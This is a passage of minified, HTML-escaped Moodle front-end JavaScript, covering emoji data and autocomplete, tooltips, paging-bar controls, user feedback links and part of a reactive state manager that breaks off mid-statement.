um_square:&quot;25FC-FE0F&quot;,white_medium_small_square:&quot;25FD&quot;,black_medium_small_square:&quot;25FE&quot;,sunny:&quot;2600-FE0F&quot;,cloud:&quot;2601-FE0F&quot;,umbrella:&quot;2602-FE0F&quot;,snowman:&quot;2603-FE0F&quot;,comet:&quot;2604-FE0F&quot;,phone:&quot;260E-FE0F&quot;,ballot_box_with_check:&quot;2611-FE0F&quot;,umbrella_with_rain_drops:&quot;2614&quot;,coffee:&quot;2615&quot;,shamrock:&quot;2618-FE0F&quot;,point_up:&quot;261D-FE0F&quot;,skull_and_crossbones:&quot;2620-FE0F&quot;,radioactive_sign:&quot;2622-FE0F&quot;,biohazard_sign:&quot;2623-FE0F&quot;,orthodox_cross:&quot;2626-FE0F&quot;,star_and_crescent:&quot;262A-FE0F&quot;,peace_symbol:&quot;262E-FE0F&quot;,yin_yang:&quot;262F-FE0F&quot;,wheel_of_dharma:&quot;2638-FE0F&quot;,white_frowning_face:&quot;2639-FE0F&quot;,relaxed:&quot;263A-FE0F&quot;,female_sign:&quot;2640-FE0F&quot;,male_sign:&quot;2642-FE0F&quot;,aries:&quot;2648&quot;,taurus:&quot;2649&quot;,gemini:&quot;264A&quot;,cancer:&quot;264B&quot;,leo:&quot;264C&quot;,virgo:&quot;264D&quot;,libra:&quot;264E&quot;,scorpius:&quot;264F&quot;,sagittarius:&quot;2650&quot;,capricorn:&quot;2651&quot;,aquarius:&quot;2652&quot;,pisces:&quot;2653&quot;,chess_pawn:&quot;265F-FE0F&quot;,spades:&quot;2660-FE0F&quot;,clubs:&quot;2663-FE0F&quot;,hearts:&quot;2665-FE0F&quot;,diamonds:&quot;2666-FE0F&quot;,hotsprings:&quot;2668-FE0F&quot;,recycle:&quot;267B-FE0F&quot;,infinity:&quot;267E-FE0F&quot;,wheelchair:&quot;267F&quot;,hammer_and_pick:&quot;2692-FE0F&quot;,anchor:&quot;2693&quot;,crossed_swords:&quot;2694-FE0F&quot;,medical_symbol:&quot;2695-FE0F&quot;,scales:&quot;2696-FE0F&quot;,alembic:&quot;2697-FE0F&quot;,gear:&quot;2699-FE0F&quot;,atom_symbol:&quot;269B-FE0F&quot;,fleur_de_lis:&quot;269C-FE0F&quot;,warning:&quot;26A0-FE0F&quot;,zap:&quot;26A1&quot;,transgender_symbol:&quot;26A7-FE0F&quot;,white_circle:&quot;26AA&quot;,black_circle:&quot;26AB&quot;,coffin:&quot;26B0-FE0F&quot;,funeral_urn:&quot;26B1-FE0F&quot;,soccer:&quot;26BD&quot;,baseball:&quot;26BE&quot;,snowman_without_snow:&quot;26C4&quot;,partly_sunny:&quot;26C5&quot;,thunder_cloud_and_rain:&quot;26C8-FE0F&quot;,ophiuchus:&quot;26CE&quot;,pick:&quot;26CF-FE0F&quot;,helmet_with_white_cross:&quot;26D1-FE0F&quot;,chains:&quot;26D3-FE0F&quot;,no_entry:&quot;26D4&quot;,shinto_shrine:&quot;26E9-FE0F&quot;,church:&quot;26EA&quot;,mountain:&quot;26F0-FE0F&quot;,umbrella_on_ground:&quot;26F1-FE0F&quot;,fountain:&quot;26F2&quot;,golf:&quot;26F3&quot;,ferry:&quot;26F4-FE0F&quot;,boat:&quot;26F5&quot;,skier:&quot;26F7-FE0F&quot;,ice_skate:&quot;26F8-FE0F&quot;,&quot;woman-bouncing-ball&quot;:&quot;26F9-FE0F-200D-2640-FE0F&quot;,&quot;man-bouncing-ball&quot;:&quot;26F9-FE0F-200D-2642-FE0F&quot;,person_with_ball:&quot;26F9-FE0F-200D-2642-FE0F&quot;,tent:&quot;26FA&quot;,fuelpump:&quot;26FD&quot;,scissors:&quot;2702-FE0F&quot;,white_check_mark:&quot;2705&quot;,airplane:&quot;2708-FE0F&quot;,email:&quot;2709-FE0F&quot;,fist:&quot;270A&quot;,hand:&quot;270B&quot;,v:&quot;270C-FE0F&quot;,writing_hand:&quot;270D-FE0F&quot;,pencil2:&quot;270F-FE0F&quot;,black_nib:&quot;2712-FE0F&quot;,heavy_check_mark:&quot;2714-FE0F&quot;,heavy_multiplication_x:&quot;2716-FE0F&quot;,latin_cross:&quot;271D-FE0F&quot;,star_of_david:&quot;2721-FE0F&quot;,sparkles:&quot;2728&quot;,eight_spoked_asterisk:&quot;2733-FE0F&quot;,eight_pointed_black_star:&quot;2734-FE0F&quot;,snowflake:&quot;2744-FE0F&quot;,sparkle:&quot;2747-FE0F&quot;,x:&quot;274C&quot;,negative_squared_cross_mark:&quot;274E&quot;,question:&quot;2753&quot;,grey_question:&quot;2754&quot;,grey_exclamation:&quot;2755&quot;,exclamation:&quot;2757&quot;,heavy_heart_exclamation_mark_ornament:&quot;2763-FE0F&quot;,heart_on_fire:&quot;2764-FE0F-200D-1F525&quot;,mending_heart:&quot;2764-FE0F-200D-1FA79&quot;,heart:&quot;2764-FE0F&quot;,heavy_plus_sign:&quot;2795&quot;,heavy_minus_sign:&quot;2796&quot;,heavy_division_sign:&quot;2797&quot;,arrow_right:&quot;27A1-FE0F&quot;,curly_loop:&quot;27B0&quot;,loop:&quot;27BF&quot;,arrow_heading_up:&quot;2934-FE0F&quot;,arrow_heading_down:&quot;2935-FE0F&quot;,arrow_left:&quot;2B05-FE0F&quot;,arrow_up:&quot;2B06-FE0F&quot;,arrow_down:&quot;2B07-FE0F&quot;,black_large_square:&quot;2B1B&quot;,white_large_square:&quot;2B1C&quot;,star:&quot;2B50&quot;,o:&quot;2B55&quot;,wavy_dash:&quot;3030-FE0F&quot;,part_alternation_mark:&quot;303D-FE0F&quot;,congratulations:&quot;3297-FE0F&quot;,secret:&quot;3299-FE0F&quot;}}));
define(&quot;core/emoji/auto_complete&quot;,[&quot;exports&quot;,&quot;core/emoji/data&quot;,&quot;core/templates&quot;,&quot;core/utils&quot;,&quot;core/localstorage&quot;,&quot;core/key_codes&quot;],(function(_exports,EmojiData,_templates,_utils,_localstorage,_key_codes){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,EmojiData=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * Emoji auto complete.
   *
   * @module core/emoji/auto_complete
   * @copyright  2019 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(EmojiData),_localstorage=_interopRequireDefault(_localstorage),_key_codes=_interopRequireDefault(_key_codes);const SELECTORS_EMOJI_BUTTON=&#039;[data-region=&quot;emoji-button&quot;]&#039;,SELECTORS_ACTIVE_EMOJI_BUTTON=&#039;[data-region=&quot;emoji-button&quot;].active&#039;,getRecentEmojis=()=&gt;{const storedData=_localstorage.default.get(&quot;moodle-recent-emojis&quot;);return storedData?JSON.parse(storedData):[]},addRecentEmoji=(unified,shortName)=&gt;{const newEmoji={unified:unified,shortnames:[shortName]},recentEmojis=getRecentEmojis();let newRecentEmojis=[newEmoji,...recentEmojis.filter((emoji=&gt;emoji.unified!=newEmoji.unified))];newRecentEmojis=newRecentEmojis.slice(0,27),_localstorage.default.set(&quot;moodle-recent-emojis&quot;,JSON.stringify(newRecentEmojis))},getEmojiTextFromShortName=shortName=&gt;{const unified=EmojiData.byShortName[shortName];if(unified){const charCodes=unified.split(&quot;-&quot;).map((code=&gt;&quot;0x&quot;.concat(code)));return String.fromCodePoint.apply(null,charCodes)}return null},getShortNameFromText=text=&gt;text.replace(/:/g,&quot;&quot;),getActiveEmojiSuggestion=root=&gt;root.querySelector(SELECTORS_ACTIVE_EMOJI_BUTTON),selectEmojiElement=(element,selectCallback)=&gt;{const shortName=element.getAttribute(&quot;data-short-name&quot;),unified=element.getAttribute(&quot;data-unified&quot;);addRecentEmoji(unified,shortName),selectCallback(element.innerHTML.trim())};return _exports.default=(root,textArea,hasSuggestionCallback,selectCallback)=&gt;{let hasSuggestions=!1,previousSearchText=&quot;&quot;;textArea.addEventListener(&quot;keyup&quot;,(0,_utils.debounce)((()=&gt;{const searchText=((text,position)=&gt;{const startMatches=text.slice(0,position).match(/(\S*)$/),endMatches=text.slice(position).match(/^(\S*)/);let startText=&quot;&quot;,endText=&quot;&quot;;return startMatches&amp;&amp;(startText=startMatches[startMatches.length-1]),endMatches&amp;&amp;(endText=endMatches[endMatches.length-1]),&quot;&quot;.concat(startText).concat(endText)})(textArea.value,textArea.selectionStart);if(searchText!==previousSearchText){if(previousSearchText=searchText,(text=&gt;/^:[^:\s]+:$/.test(text))(searchText)){const shortName=getShortNameFromText(searchText),emojiText=getEmojiTextFromShortName(shortName);hasSuggestions=!1,emojiText&amp;&amp;(addRecentEmoji(EmojiData.byShortName[shortName],shortName),selectCallback(emojiText))}else if((text=&gt;/^:[^:\s]*$/.test(text))(searchText)){const suggestions=(searchTerm=getShortNameFromText(searchText),limit=50,&quot;&quot;===searchTerm?getRecentEmojis().map((data=&gt;data.shortnames[0])).slice(0,limit):(searchTerm=searchTerm.toLowerCase(),Object.keys(EmojiData.byShortName).filter((shortName=&gt;shortName.includes(searchTerm))).slice(0,limit)));suggestions.length?((async(root,shortNames)=&gt;{const renderContext={emojis:shortNames.map(((shortName,index)=&gt;({active:0===index,emojitext:getEmojiTextFromShortName(shortName),displayshortname:&quot;:&quot;.concat(shortName,&quot;:&quot;),shortname:shortName,unified:EmojiData.byShortName[shortName]})))},html=await(0,_templates.render)(&quot;core/emoji/auto_complete&quot;,renderContext);root.innerHTML=html})(root,suggestions),hasSuggestions=!0):hasSuggestions=!1}else hasSuggestions=!1;var searchTerm,limit;hasSuggestionCallback(hasSuggestions)}}),200)),textArea.addEventListener(&quot;keydown&quot;,(e=&gt;{if(hasSuggestions){if(!(e.shiftKey||e.metaKey||e.altKey||e.ctrlKey))switch(e.which){case _key_codes.default.escape:hasSuggestions=!1,hasSuggestionCallback(!1);break;case _key_codes.default.arrowLeft:(root=&gt;{const activeEmojiSuggestion=getActiveEmojiSuggestion(root),previousSuggestion=activeEmojiSuggestion.previousElementSibling;previousSuggestion&amp;&amp;(activeEmojiSuggestion.classList.remove(&quot;active&quot;),previousSuggestion.classList.add(&quot;active&quot;),previousSuggestion.scrollIntoView({behaviour:&quot;smooth&quot;,inline:&quot;center&quot;}))})(root),e.preventDefault();break;case _key_codes.default.arrowRight:(root=&gt;{const activeEmojiSuggestion=getActiveEmojiSuggestion(root),nextSuggestion=activeEmojiSuggestion.nextElementSibling;nextSuggestion&amp;&amp;(activeEmojiSuggestion.classList.remove(&quot;active&quot;),nextSuggestion.classList.add(&quot;active&quot;),nextSuggestion.scrollIntoView({behaviour:&quot;smooth&quot;,inline:&quot;center&quot;}))})(root),e.preventDefault();break;case _key_codes.default.enter:selectEmojiElement(getActiveEmojiSuggestion(root),selectCallback),e.preventDefault(),e.stopPropagation()}}})),root.addEventListener(&quot;click&quot;,(e=&gt;{const target=e.target;target.matches(SELECTORS_EMOJI_BUTTON)&amp;&amp;selectEmojiElement(target,selectCallback)}))},_exports.default}));
define(&quot;core/tooltip&quot;,[&quot;jquery&quot;,&quot;core/aria&quot;],(function($,Aria){var Tooltip=function(selector){this._regionSelector=selector,$(this._regionSelector).each(function(index,element){var tooltipId=$(element).attr(&quot;aria-describedby&quot;);if(tooltipId){var tooltipele=document.getElementById(tooltipId);if(tooltipele)&quot;tooltip&quot;==$(tooltipele).attr(&quot;role&quot;)&amp;&amp;($(tooltipele).hide(),$(element).attr(&quot;tabindex&quot;,&quot;0&quot;)),$(element).on(&quot;focus&quot;,this._handleFocus.bind(this)),$(element).on(&quot;mouseover&quot;,this._handleMouseOver.bind(this)),$(element).on(&quot;mouseout&quot;,this._handleMouseOut.bind(this)),$(element).on(&quot;blur&quot;,this._handleBlur.bind(this)),$(element).on(&quot;keydown&quot;,this._handleKeyDown.bind(this))}}.bind(this))};return Tooltip.prototype._regionSelector=null,Tooltip.prototype._showTooltip=function(e){var triggerElement=$(e.target),tooltipId=triggerElement.attr(&quot;aria-describedby&quot;);if(tooltipId){var tooltipele=$(document.getElementById(tooltipId));if(tooltipele.show(),Aria.unhide(tooltipele),!tooltipele.is(&quot;.tooltip&quot;)){var inner=$(&#039;&lt;div class=&quot;tooltip-inner&quot;&gt;&lt;/div&gt;&#039;);inner.append(tooltipele.contents()),tooltipele.append(inner),tooltipele.addClass(&quot;tooltip&quot;),tooltipele.addClass(&quot;bottom&quot;),tooltipele.append(&#039;&lt;div class=&quot;tooltip-arrow&quot;&gt;&lt;/div&gt;&#039;)}var pos=triggerElement.offset();pos.top+=triggerElement.height()+10,$(tooltipele).offset(pos)}},Tooltip.prototype._hideTooltip=function(e){var tooltipId=$(e.target).attr(&quot;aria-describedby&quot;);if(tooltipId){var tooltipele=document.getElementById(tooltipId);$(tooltipele).hide(),Aria.hide(tooltipele)}},Tooltip.prototype._handleFocus=function(e){this._showTooltip(e)},Tooltip.prototype._handleKeyDown=function(e){27==e.which&amp;&amp;this._hideTooltip(e)},Tooltip.prototype._handleMouseOver=function(e){this._showTooltip(e)},Tooltip.prototype._handleMouseOut=function(e){$(e.target).is(&quot;:focus&quot;)||this._hideTooltip(e)},Tooltip.prototype._handleBlur=function(e){this._hideTooltip(e)},Tooltip}));
/**
 * Events for the paged content element.
 *
 * @module     core/paged_content_events
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/paged_content_events&quot;,[],(function(){return{SHOW_PAGES:&quot;core-paged-content-show-pages&quot;,PAGES_SHOWN:&quot;core-paged-content-pages-shown&quot;,ALL_ITEMS_LOADED:&quot;core-paged-content-all-items-loaded&quot;,SET_ITEMS_PER_PAGE_LIMIT:&quot;core-paged-content-set-items-per-page-limit&quot;}}));
define(&quot;core/userfeedback&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(_exports,_ajax,_notification){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Handle clicking on action links of the feedback alert.
   *
   * @module     core/cta_feedback
   * @copyright  2020 Shamim Rezaie &lt;shamim@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.registerEventListeners=void 0,_ajax=_interopRequireDefault(_ajax),_notification=_interopRequireDefault(_notification);const Selectors={regions:{root:&#039;[data-region=&quot;core/userfeedback&quot;]&#039;},actions:{}};Selectors.actions.give=&quot;&quot;.concat(Selectors.regions.root,&#039; [data-action=&quot;give&quot;]&#039;),Selectors.actions.remind=&quot;&quot;.concat(Selectors.regions.root,&#039; [data-action=&quot;remind&quot;]&#039;);_exports.registerEventListeners=()=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{const giveAction=e.target.closest(Selectors.actions.give);if(giveAction){if(e.preventDefault(),!window.open(giveAction.href))throw new Error(&quot;Unable to open popup&quot;);Promise.resolve(giveAction).then(hideRoot).then(recordAction).catch(_notification.default.exception)}const remindAction=e.target.closest(Selectors.actions.remind);remindAction&amp;&amp;(e.preventDefault(),Promise.resolve(remindAction).then(hideRoot).then(recordAction).catch(_notification.default.exception))}))};const recordAction=clickedItem=&gt;clickedItem.dataset.record?_ajax.default.call([{methodname:&quot;core_create_userfeedback_action_record&quot;,args:{action:clickedItem.dataset.action,contextid:M.cfg.contextid}}])[0]:Promise.resolve(),hideRoot=clickedItem=&gt;(clickedItem.dataset.hide&amp;&amp;clickedItem.closest(Selectors.regions.root).remove(),clickedItem)}));
/**
 * Javascript to enhance the paged content paging bar.
 *
 * @module     core/paging_bar
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/paged_content_paging_bar&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/paged_content_events&quot;,&quot;core/str&quot;,&quot;core/pubsub&quot;,&quot;core/pending&quot;],(function($,CustomEvents,PagedContentEvents,Str,PubSub,Pending){var SELECTORS_PAGE=&quot;[data-page]&quot;,SELECTORS_PAGE_ITEM=&#039;[data-region=&quot;page-item&quot;]&#039;,SELECTORS_PAGE_LINK=&#039;[data-region=&quot;page-link&quot;]&#039;,SELECTORS_FIRST_BUTTON=&#039;[data-control=&quot;first&quot;]&#039;,SELECTORS_LAST_BUTTON=&#039;[data-control=&quot;last&quot;]&#039;,SELECTORS_NEXT_BUTTON=&#039;[data-control=&quot;next&quot;]&#039;,SELECTORS_PREVIOUS_BUTTON=&#039;[data-control=&quot;previous&quot;]&#039;,SELECTORS_DOTS_BUTTONS=&quot;[data-dots]&quot;,SELECTORS_BEGINNING_DOTS_BUTTON=&#039;[data-dots=&quot;beginning&quot;]&#039;,SELECTORS_ENDING_DOTS_BUTTON=&#039;[data-dots=&quot;ending&quot;]&#039;,getPageByNumber=function(root,pageNumber){return root.find(SELECTORS_PAGE_ITEM+&#039;[data-page-number=&quot;&#039;+pageNumber+&#039;&quot;]&#039;)},setLastPageNumber=function(root,number){root.attr(&quot;data-last-page-number&quot;,number)},getLastPageNumber=function(root){return parseInt(root.attr(&quot;data-last-page-number&quot;),10)},getActivePageNumber=function(root){return parseInt(root.attr(&quot;data-active-page-number&quot;),10)},setActivePageNumber=function(root,number){root.attr(&quot;data-active-page-number&quot;,number)},getPageNumber=function(root,page){if(null!=page.attr(&quot;data-page&quot;))return parseInt(page.attr(&quot;data-page-number&quot;),10);var pageNumber=1,activePageNumber=null;switch(page.attr(&quot;data-control&quot;)){case&quot;first&quot;:default:pageNumber=1;break;case&quot;last&quot;:pageNumber=getLastPageNumber(root);break;case&quot;next&quot;:activePageNumber=getActivePageNumber(root);var lastPage=getLastPageNumber(root);pageNumber=lastPage?activePageNumber&amp;&amp;activePageNumber&lt;lastPage?activePageNumber+1:lastPage:activePageNumber+1;break;case&quot;previous&quot;:pageNumber=(activePageNumber=getActivePageNumber(root))&amp;&amp;activePageNumber&gt;1?activePageNumber-1:1}return parseInt(pageNumber,10)},show=function(root){root.removeClass(&quot;hidden&quot;)},hide=function(root){root.addClass(&quot;hidden&quot;)},disableNextControlButtons=function(root){var nextButton=root.find(SELECTORS_NEXT_BUTTON),lastButton=root.find(SELECTORS_LAST_BUTTON);nextButton.addClass(&quot;disabled&quot;),nextButton.attr(&quot;aria-disabled&quot;,!0),lastButton.addClass(&quot;disabled&quot;),lastButton.attr(&quot;aria-disabled&quot;,!0)},enableNextControlButtons=function(root){var nextButton=root.find(SELECTORS_NEXT_BUTTON),lastButton=root.find(SELECTORS_LAST_BUTTON);nextButton.removeClass(&quot;disabled&quot;),nextButton.removeAttr(&quot;aria-disabled&quot;),lastButton.removeClass(&quot;disabled&quot;),lastButton.removeAttr(&quot;aria-disabled&quot;)},disablePreviousControlButtons=function(root){var previousButton=root.find(SELECTORS_PREVIOUS_BUTTON),firstButton=root.find(SELECTORS_FIRST_BUTTON);previousButton.addClass(&quot;disabled&quot;),previousButton.attr(&quot;aria-disabled&quot;,!0),firstButton.addClass(&quot;disabled&quot;),firstButton.attr(&quot;aria-disabled&quot;,!0)},adjustPagingBarSize=function(root){var activePageNumber=getActivePageNumber(root),lastPageNumber=getLastPageNumber(root),dotsButtons=root.find(SELECTORS_DOTS_BUTTONS),beginningDotsButton=root.find(SELECTORS_BEGINNING_DOTS_BUTTON),endingDotsButton=root.find(SELECTORS_ENDING_DOTS_BUTTON),pages=root.find(SELECTORS_PAGE),barSize=parseInt(root.attr(&quot;data-bar-size&quot;),10);if(barSize&amp;&amp;lastPageNumber&gt;barSize){var minpage=Math.max(activePageNumber-Math.round(barSize/2),1),maxpage=minpage+barSize-1;maxpage&gt;=lastPageNumber&amp;&amp;(minpage=(maxpage=lastPageNumber)-barSize+1),minpage&gt;1?(show(beginningDotsButton),minpage++):hide(beginningDotsButton),maxpage&lt;lastPageNumber?(show(endingDotsButton),maxpage--):hide(endingDotsButton),dotsButtons.addClass(&quot;disabled&quot;),dotsButtons.attr(&quot;aria-disabled&quot;,!0),hide(pages),pages.each((function(index,page){page=$(page),index+1&gt;=minpage&amp;&amp;index+1&lt;=maxpage&amp;&amp;show(page)}))}else hide(dotsButtons)},enablePreviousControlButtons=function(root){var previousButton=root.find(SELECTORS_PREVIOUS_BUTTON),firstButton=root.find(SELECTORS_FIRST_BUTTON);previousButton.removeClass(&quot;disabled&quot;),previousButton.removeAttr(&quot;aria-disabled&quot;),firstButton.removeClass(&quot;disabled&quot;),firstButton.removeAttr(&quot;aria-disabled&quot;)},showPage=function(root,pageNumber,id){var pendingPromise=new Pending(&quot;core/paged_content_paging_bar:showPage&quot;),lastPageNumber=getLastPageNumber(root),isSamePage=pageNumber==getActivePageNumber(root),limit=function(root){return parseInt(root.attr(&quot;data-items-per-page&quot;),10)}(root),offset=(pageNumber-1)*limit;if(!isSamePage){root.find(SELECTORS_PAGE_ITEM).removeClass(&quot;active&quot;).removeAttr(&quot;aria-current&quot;);var page=getPageByNumber(root,pageNumber);page.addClass(&quot;active&quot;),page.attr(&quot;aria-current&quot;,!0),setActivePageNumber(root,pageNumber),adjustPagingBarSize(root)}lastPageNumber&amp;&amp;pageNumber&gt;=lastPageNumber?disableNextControlButtons(root):enableNextControlButtons(root),pageNumber&gt;1?enablePreviousControlButtons(root):disablePreviousControlButtons(root),function(root){var pageAriaLabelComponents=function(root){return root.attr(&quot;data-aria-label-components-pagination-item&quot;).split(&quot;,&quot;).map((function(component){return component.trim()}))}(root),activePageAriaLabelComponents=function(root){return root.attr(&quot;data-aria-label-components-pagination-active-item&quot;).split(&quot;,&quot;).map((function(component){return component.trim()}))}(root),activePageNumber=getActivePageNumber(root),pageItems=root.find(SELECTORS_PAGE_ITEM),stringRequests=pageItems.map((function(index,page){page=$(page);var pageNumber=getPageNumber(root,page);return pageNumber===activePageNumber?{key:activePageAriaLabelComponents[0],component:activePageAriaLabelComponents[1],param:pageNumber}:{key:pageAriaLabelComponents[0],component:pageAriaLabelComponents[1],param:pageNumber}}));Str.get_strings(stringRequests).then((function(strings){return pageItems.each((function(index,page){page=$(page);var string=strings[index];page.attr(&quot;aria-label&quot;,string),page.find(SELECTORS_PAGE_LINK).attr(&quot;aria-label&quot;,string)})),strings})).catch((function(){}))}(root),PubSub.publish(id+PagedContentEvents.SHOW_PAGES,[{pageNumber:pageNumber,limit:limit,offset:offset}]),pendingPromise.resolve()};return{init:function(root,id){var pages=(root=$(root)).find(SELECTORS_PAGE);if(function(root,items){var lastPageNumber=0;setActivePageNumber(root,0),items.each((function(index,item){var pageNumber=index+1;(item=$(item)).attr(&quot;data-page-number&quot;,pageNumber),lastPageNumber++,item.hasClass(&quot;active&quot;)&amp;&amp;setActivePageNumber(root,pageNumber)})),setLastPageNumber(root,lastPageNumber)}(root,pages),function(root,id){var ignoreControlWhileLoading=root.attr(&quot;data-ignore-control-while-loading&quot;),loading=!1;&quot;&quot;==ignoreControlWhileLoading&amp;&amp;(ignoreControlWhileLoading=!0),CustomEvents.define(root,[CustomEvents.events.activate]),root.on(CustomEvents.events.activate,SELECTORS_PAGE_ITEM,(function(e,data){if(data.originalEvent.preventDefault(),data.originalEvent.stopPropagation(),!ignoreControlWhileLoading||!loading){var page=$(e.target).closest(SELECTORS_PAGE_ITEM);if(!page.hasClass(&quot;disabled&quot;)){var pageNumber=getPageNumber(root,page);showPage(root,pageNumber,id),loading=!0}}})),PubSub.subscribe(id+PagedContentEvents.ALL_ITEMS_LOADED,(function(pageNumber){loading=!1;var currentLastPage=getLastPageNumber(root);(!currentLastPage||pageNumber&lt;currentLastPage)&amp;&amp;setLastPageNumber(root,pageNumber),1===pageNumber&amp;&amp;root.attr(&quot;data-hide-control-on-single-page&quot;)?(hide(root),disableNextControlButtons(root),disablePreviousControlButtons(root)):(show(root),disableNextControlButtons(root))})),PubSub.subscribe(id+PagedContentEvents.PAGES_SHOWN,(function(){loading=!1})),PubSub.subscribe(id+PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT,(function(limit){!function(root,limit){root.attr(&quot;data-items-per-page&quot;,limit)}(root,limit),setLastPageNumber(root,0),setActivePageNumber(root,0),show(root),showPage(root,1,id)}))}(root,id),function(root){var number=getActivePageNumber(root);return!isNaN(number)&amp;&amp;0!=number}(root)){var activePageNumber=getActivePageNumber(root);getPageByNumber(root,activePageNumber).click(),1==activePageNumber&amp;&amp;disablePreviousControlButtons(root)}else(function(root){return root.find(SELECTORS_NEXT_BUTTON)})(root).click();adjustPagingBarSize(root)},disableNextControlButtons:disableNextControlButtons,enableNextControlButtons:enableNextControlButtons,disablePreviousControlButtons:disablePreviousControlButtons,enablePreviousControlButtons:enablePreviousControlButtons,showPage:showPage,rootSelector:&#039;[data-region=&quot;paging-bar&quot;]&#039;}}));
define(&quot;core/local/inplace_editable/events&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/event_dispatcher&quot;],(function(_exports,_jquery,_event_dispatcher){var obj;
/**
   * Inplace editable module events
   *
   * @module      core/local/inplace_editable/events
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.notifyElementUpdated=_exports.notifyElementUpdateFailed=_exports.eventTypes=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};const eventTypes={elementUpdated:&quot;core/inplace_editable:updated&quot;,elementUpdateFailed:&quot;core/inplace_editable:updateFailed&quot;};_exports.eventTypes=eventTypes;_exports.notifyElementUpdated=(element,ajaxreturn,oldvalue)=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.elementUpdated,{ajaxreturn:ajaxreturn,oldvalue:oldvalue},element);_exports.notifyElementUpdateFailed=(element,exception,newvalue)=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.elementUpdateFailed,{exception:exception,newvalue:newvalue},element,{cancelable:!0});let legacyEventsRegistered=!1;legacyEventsRegistered||(document.addEventListener(eventTypes.elementUpdated,(event=&gt;{const legacyEvent=_jquery.default.Event(&quot;updated&quot;,event.detail);(0,_jquery.default)(event.target).trigger(legacyEvent)})),document.addEventListener(eventTypes.elementUpdateFailed,(event=&gt;{const legacyEvent=_jquery.default.Event(&quot;updatefailed&quot;,event.detail);(0,_jquery.default)(event.target).trigger(legacyEvent),legacyEvent.isDefaultPrevented()&amp;&amp;event.preventDefault()})),legacyEventsRegistered=!0)}));
define(&quot;core/local/reactive/statemanager&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;_exports.default=
/**
   * Reactive simple state manager.
   *
   * The state manager contains the state data, trigger update events and
   * can lock and unlock the state data.
   *
   * This file contains the three main elements of the state manager:
   * - State manager: the public class to alter the state, dispatch events and process update messages.
   * - Proxy handler: a private class to keep track of the state object changes.
   * - StateMap class: a private class extending Map class that triggers event when a state list is modifed.
   *
   * @module     core/local/reactive/stateManager
   * @class     core/local/reactive/stateManager
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
class{constructor(dispatchEvent,target){this.dispatchEvent=dispatchEvent,this.target=null!=target?target:document,this.readonly=!1,this.eventsToPublish=[],this.updateTypes={create:this.defaultCreate.bind(this),update:this.defaultUpdate.bind(this),delete:this.defaultDelete.bind(this),put:this.defaultPut.bind(this),override:this.defaultOverride.bind(this),remove:this.defaultRemove.bind(this),prepareFields:this.defaultPrepareFields.bind(this)},this.initialPromise=new Promise((resolve=&gt;{this.target.addEventListener(&quot;state:loaded&quot;,(event=&gt;{resolve(event.detail.state)}))}))}setInitialState(initialState){if(void 0!==this.state)throw Error(&quot;Initial state can only be initialized ones&quot;);const state=new Proxy({},new Handler(&quot;state&quot;,this,!0));for(const[prop,propValue]of Object.entries(initialState))state[prop]=propValue;this.state=state,this.readonly=!0,this.dispatchEvent({action:&quot;state:loaded&quot;,state:this.state},this.target)}getInitialPromise(){return this.initialPromise}setReadOnly(readonly){this.readonly=readonly;let mode=&quot;off&quot;;this.readonly&amp;&amp;(mode=&quot;on&quot;,this._publishEvents()),this.dispatchEvent({action:&quot;readmode:&quot;.concat(mode),state:this.state,element:null},this.target)}addUpdateTypes(newFunctions){for(const[updateType,updateFunction]of Object.entries(newFunctions))&quot;function&quot;==typeof updateFunction&amp;&amp;(this.updateTypes[updateType]=updateFunction.bind(newFunctions))}processUpdates(updates,updateTypes){if(!Array.isArray(updates))throw Error(&quot;State updates must be an array&quot;);this.setReadOnly(!1),updates.forEach((update=&gt;{if(void 0===update.name)throw 